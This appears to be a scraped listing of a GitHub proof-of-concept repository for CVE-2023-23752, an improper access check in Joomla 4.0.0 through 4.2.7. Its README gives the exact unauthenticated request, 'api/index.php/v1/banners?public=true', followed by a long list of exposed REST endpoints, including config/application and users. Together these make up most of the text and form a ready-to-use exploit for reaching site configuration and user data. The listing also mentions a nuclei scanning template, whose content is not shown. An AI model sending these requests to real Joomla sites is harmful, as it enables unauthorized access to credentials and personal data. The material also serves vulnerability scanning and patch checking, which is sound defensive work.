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CVE-2023-23752 PoC — [20230201] - Core - Improper access check in webservice endpoints

Source
https://github.com/Saboor-Hakimi/CVE-2023-23752
Associated Vulnerability
Title:[20230201] - Core - Improper access check in webservice endpoints (CVE-2023-23752)
Description:An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.
Description
CVE-2023-23752 nuclei template
Readme

# CVE-2023-23752
CVE-2023-23752 nuclei template

Joomla (CVE-2023-23752) - a request parameter breaks through the Rest API

## Affected version

​ Joomla roughly has three routing entries, which are

1.  index.php in the root directory (users access articles)
2.  administrator/index.php in the root directory (administrator management)
3.  api/index.php in the root directory (Rest API for developers)

The unauthorized interface is exactly the third entry point. Therefore, only Joomla4.0.0 Joomla4.2.7 is affected (Rest API 4.x is officially developed)


## send request here
```
http://x.x.x.x/api/index.php/v1/banners?public=true
```
Other damaged APIs are as follows

```
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
```
File Snapshot

 [4.0K]  /data/pocs/eb7f2c3aa5f141bf23aa108d9398d90adcef96b5
├── [1.1K]  CVE-2023-23752.yaml
└── [6.8K]  README.md

0 directories, 2 files
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